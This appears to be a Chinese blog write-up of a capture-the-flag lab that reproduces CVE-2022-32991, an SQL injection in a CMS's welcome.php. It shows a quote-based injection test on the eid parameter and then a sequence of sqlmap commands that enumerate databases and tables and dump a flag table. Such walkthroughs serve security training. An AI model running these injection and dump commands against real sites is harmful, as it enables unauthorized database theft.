CVE-2022-32991漏洞复现

靶标介绍:

该CMS的welcome.php中存在SQL注入漏

1.打开靶场,并进行访问

需要进行注册

2.任意注册帐户密码

3.登录成功后寻找注入点,根据靶场提示CMS的welcome.php中存在SQL注入

4.在eid参数后面添加单引号测试,出现报错

6.使用sqlmap工具进行所有数据库爆破。

sqlmap.py -u "http://eci-2zeclzb9xbdphxtltxbx.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -dbs

7.爆出四个库,选择ctf库,加--tables对表进行爆破

 sqlmap.py -u "http://eci-2zeclzb9xbdphxtltxbx.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -D ctf --tables

8.爆出九个表,选择flag表,对字段进行爆破

sqlmap.py -u "http://eci-2zeclzb9xbdphxtltxbx.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -D ctf -T flag --count

9.爆出字段名,加 --dump 对字段值进行爆破,找到flag

sqlmap.py -u "http://eci-2zeclzb9xbdphxtltxbx.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -D ctf -T flag --dump

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值